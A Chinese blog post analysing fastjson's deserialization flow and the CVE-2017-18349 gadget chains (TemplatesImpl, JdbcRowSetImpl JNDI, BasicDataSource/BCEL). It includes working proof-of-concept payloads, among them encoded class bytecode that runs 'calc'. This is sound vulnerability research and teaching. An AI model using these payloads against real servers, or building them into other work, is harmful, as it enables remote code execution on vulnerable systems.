fastjson漏洞分析

fastjson解析流程

fastjsont提供了三种用于反序列化的方法,还有这三种方法的重载。

  • parse()
  • parseObject()
  • parseArray()

我们写一个Demo,分析下fastjson的反序列化流程。首先定义一个Person类,用于序列化。

package org.depenvul.com;

import java.io.IOException;
import java.util.Map;

public class Person {
    private String name;
    private int age;
    private Map asm;


    public Person() throws IOException {
        System.out.println("constructor");
        //     直接在构造函数里写EXP,也可以触发
        //     Runtime.getRuntime().exec("calc");
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age + '\'' +
                ", asm=" + asm +
                '}';
    }

    public Person(String name, int age,int asm){
        this.name = name;
        this.age = age;
        System.out.println("constructor");
    }

    public String getName() {
        System.out.println("getName");
        return name;

    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getage");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

    public Map getAsm(){
        System.out.println("getAsm");
        return asm;
    }

}

定义主类,在主类中调用JSON#parseObject()方法对Person类进行反序列化。这里我们使用@type注解指定反序列化为org.depenvul.com.Person类。

package org.depenvul.com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject

public class WhiteDream {
    public static void main(String[] args) throws Exception{
        //fastjson可以根据传入不同的@type,将数据解析为不同的类。
        String s1 = "{\"@type\":\"org.depenvul.com.Person\",\"age\":18}";
        //fastjson可以根据传入不同的@type,将数据解析为不同的类。
        JSONObject jsonObject = JSON.parseObject(s1);
        System.out.println(jsonObject);
    }
}

提一句,在开发中,也可以使用以下代码指定反序列化的类。

String jsonString2 = "{\"age\":20,\"name\":\"Bob\"}";
Person person2 = JSON.parseObject(jsonString2, Person.class);

在JSONObject jsonObject2 = JSON.parseObject(s1);处下断点,将传入的字符串又调用JSON#parse()方法进行解析,将结果转换为JSONObject类型后返回。

我们看一下JSONObject类型定义,实现Map接口,是个键值对。

我们再跟进JSON#parse()方法,注意JSON#parse()是public static类型的,外部是可以直接调用的。

这里又调用了parse()的重载方法,跟进。这里指定了一个解析器DefaultJSONParser。features作用是指定解析时的一些要求,比如如何处理标号符号。

继续跟进,DefaultJSONParser#parse(),这里是解析的核心逻辑。

首先,判断json字符串的token值。Token是Fastjson中定义的json字符串的同类型字段,即”{“、”[“、数字、字符串等,用于分隔json字符串不同字段。通过token类型推断当前json字符串是哪种类型的token, 比如是字符串、花括号和逗号等等。根据token类型解读json数据。

在com.alibaba.fastjson.parser.JSONToken类中,给出了所有token的定义。

当前字符串token是左大括号,表明当前字符串是一个完整json对象,调用parsebject解析。

跟进,DefaultJSONParser#parsebject(),这里是解析的核心逻辑。在这个方法中将字符串(键值对)解析为一个对象。方法的前半部分处理key值,后半部分处理value值。

方法前几个if语句进行边界值判断,之后进入一个for循环,而且是一个死循环。这意味着循环内

Feature.AllowArbitraryCommas允许解析包含这种非标准逗号的 JSON 数据,第一个if处理 JSON 数组和对象中的额外逗号。

之后定义一个key,继续用if去匹配字符,当前字符为双引号,于是将双引号后的json键值对的key值取出,key后应该是冒号,如果不是抛出异常。

之后会判断当前key值是不是“@type”,如果是,意味着不但需要进行json的反序列化,还需要进行java的反序列化。

我们跟进loadclass,首先会在缓存mappings里寻找看是否加载过,之后进行一些判断。都不符合后使用上下文contextClassLoader.loadClass()动态加载类。并放入缓存mappings中。

继续走,之前是基于json字符串进行反序列化,因为匹配到了“@type”,现在进入到java反序列化的流程。

先获取了一个反序列化器,再使用这个反序列化器进行反序列化。

跟进,首先去缓存derializers表里找,里面存了一些java内置类反序列化实例。

如果缓存表没有,使用getDeserializer()获取,在这个方法中也会经过一系列判断,有一个黑名单,这个是在漏洞爆出之前就有的,主要是基于性能方面考虑。

一系列匹配均失败后,调用createJavaBeanDeserializer()方法当作JavaBean创建一个。

跟进,先从当前对象中获取 asmEnable 变量的值,asmEnable 用于控制是否启用 ASM 字节码生成技术进行反序列化。

又经过一系列匹配,来到JavaBeanInfo.build()方法。这是一个很重要的方法。

它的作用是生成一个包含指定 Java 类的信息的数据结构。在创建java指定类对应的反序列化器时,需要了解这个类的全部信息,如构造函数、setter、getter方法等,以便 Fastjson 在进行序列化和反序列化时可以更正确地、高效地操作这个 Java 类的属性和字段。

跟进。首先获取了Person类的所有注解、构建器类、字段、方法、构造器等。

又经过一系列匹配后,开始进行遍历。第一个for循环遍历method,是为了寻找set方法。第二个遍历filed,第三个又遍历一边method,是为了寻找get方法。

在第一个for循环中,遍历method寻找匹配方法,要满足以下条件。

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 返回值为void或者当前类
  4. 参数个数为1个
  5. 以set开头且第四个字母为大写

满足条件后,会取setter方法对应的变量名称,即setter方法的第四个字符,变为小写

之后,

将setter遍历完成后,再遍历field和getter方法。getter方法需要满足以下条件,才会调用add方法。

  1. 非静态方法
  2. 方法名长度大于4
  3. 以get开头且第四个字母为大写
  4. 无参数传入
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
  6. 此属性没有setter方法

全部遍历完成后,调用构造函数,将遍历的结果传入javaBeanInfo

可以看到beanInfo中有Person类的三个字段

因为两个字段都有set方法,所以beanInfo没有get方法。

之后又经过一系列匹配,

返回创建的反序列化器,调用deserializer.deserialze()方法进行反序列化。

调用构造方法

跟进,在这个方法里就使用反射调用方法了。

这个方法很长,做了很多匹配。

在这一步使用createInstance()方法创建实例

跟进,首先判断要反序列化的类是不是接口。如果不是,使用beanInfo.defaultConstructor获取beaninfo的默认构造器,接着调用newInstance()创建实例。

我们执行完这一步,可以看到Person类构造方法里的打印方法和弹计算器都得到了执行。

调用set方法

继续往下走,调用setValue()方法赋值

继续跟进,还是先进行一系列匹配,最后调用method.invoke()执行。

可以看到执行了Person类的setAge方法

调用get方法

那么get方法是在哪执行的呢?parseObject()方法返回时,对解析结果调用了JSON.toJSON()方法

我们跟进,getFieldValuesMap()方法

调用了getPropertyValue()方法

跟进

使用反射调用get方法

分析完fastjson的调用流程,就可以分析调用链了。漏洞爆发之初网络上流传的利用链一共有三个。

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋;第二个利用链用到的是JNDI注入,利用条件相对较低,但是需要连接远程恶意服务器,在目标没外网的情况下无法直接利用;第三个利用链也是一个字节码的利用,但其无需目标额外开启选项,也不用连接外部服务器,利用条件更低。

TemplatesImpl利用链

尝试攻击目标系统中的库或框架提供的类时,通常需要使用@type注释来指定要反序列化的类。因为这些类不受攻击者直接控制。攻击者需要利用目标系统中存在的类来构建漏洞利用链。在这种情况下,需要寻找一个目标系统存在的类,即利用链。

POC如下

package org.depenvul.com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

//fastjson<=1.2.24

public class CVE_2017_18349_TemplatesImpl {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
 

以下内容编译为.class文件再base64为 _bytecodes的内容

import com.sun.org.apache.xalan.internal.xsltc.DOM;
        import com.sun.org.apache.xalan.internal.xsltc.TransletException;
        import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
        import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
        import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

        import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

前面步骤略过,在setValue()处下断点。在debug处窗口可以看到,此时”_name”、”_bytecodes”、”_tfactory”等值为null。

不断单步执行,不用步入,将上面的值填充后,当value信息为”size=0″时,步入。

不断执行,可以看到此时使用反射调用方法。

这里的方法为getOutputProperties()

getOutputProperties()调用了newTransformer()方法

newTransformer()调用了TransformerImpl()方法

TransformerImpl()调用了getTransletInstance()方法

_name不为空且_class为空时,调用defineTransletClasses()方法

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

JdbcRowSetImpl利用链

利用POC

package org.depenvul.com;

import com.alibaba.fastjson.JSON;

//fastjson<=1.2.24
//Yakit反连
public class EXP_JdbcRowSetImpl {
    public static void main(String[] args) {
//               String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:9999/uZKBeqnQ\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

com/sun/rowset/JdbcRowSetImpl.java#connect()方法里调用了lookup()方法

Alt+F7查找使用,存在一处getDatabaseMetaData()和setAutoCommit()方法调用了connect()方法。

在fastjson解析中,调用getXxxx方法的限制比较多,我们这里看setAutoCommit()方法

方法需要传入一个autoCommit参数。

这个利用链比较简短。涉及一个类两个方法。

BasicDataSource利用链

首先我们了解下BCEL的使用

POC代码如下

package org.depenvul.com;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;


public class EXP_BCEL_USE {
    public static void main(String[] args) throws Exception {

        JavaClass cls = Repository.lookupClass(Calc.class);
        String code = Utility.encode(cls.getBytes(), true);
        System.out.println(code);
        ClassLoader classLoader =  new ClassLoader();
        classLoader.loadClass("$$BCEL$$" + code).newInstance();
    }
}

其中的Calc.class类的代码

package org.depenvul.com;

public class Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

com/sun/org/apache/bcel/internal/util/ClassLoader.java类继承了抽象类java/lang/ClassLoader.java,重写了loadClass()方法。

核心代码如下,先判断类名是否以$$BCEL$$开头,若是则调用createClass()创建Class对象。再调用defineClass()方法加载字节码转化为类。

看一下createClass()方法。首先获取$$BCEL$$字符串位置,提取真正的类名。使用Utility.decode()方法解码real_name字节数据,使用BCEL 库中的 ClassParser 类创建JavaClass对象。

之后我们看下如何在org/apache/tomcat/dbcp/dbcp2/BasicDataSource.java类里使用。

在类里有个createConnectionFactory()方法,这里调用了forName()方法。

寻找是否可以指定driverClassNamedriverClassLoader的值,也就是setXxxx方法。

再寻找是否可以调用到createConnectionFactory()方法

可以找到getConnection()>createDataSource()>createConnectionFactory()

之后可以构造POC了:

package org.depenvul.com;

import com.alibaba.fastjson.JSON;

//fastjson<=1.2.24

public class EXP_BasicDataSource {
    public static void main(String[] args) {
        String payload =
                "{\n"
                        + "    {\n"
                        + "        \"aaa\": {\n"
                        + "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"
                        + "                \"driverClassLoader\": {\n"
                        + "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"
                        + "                },\n"
                        + "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n"
                        + "        }\n"
                        + "    }:\"xxx\"\n"
                        + "}";
        JSON.parse(payload);
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇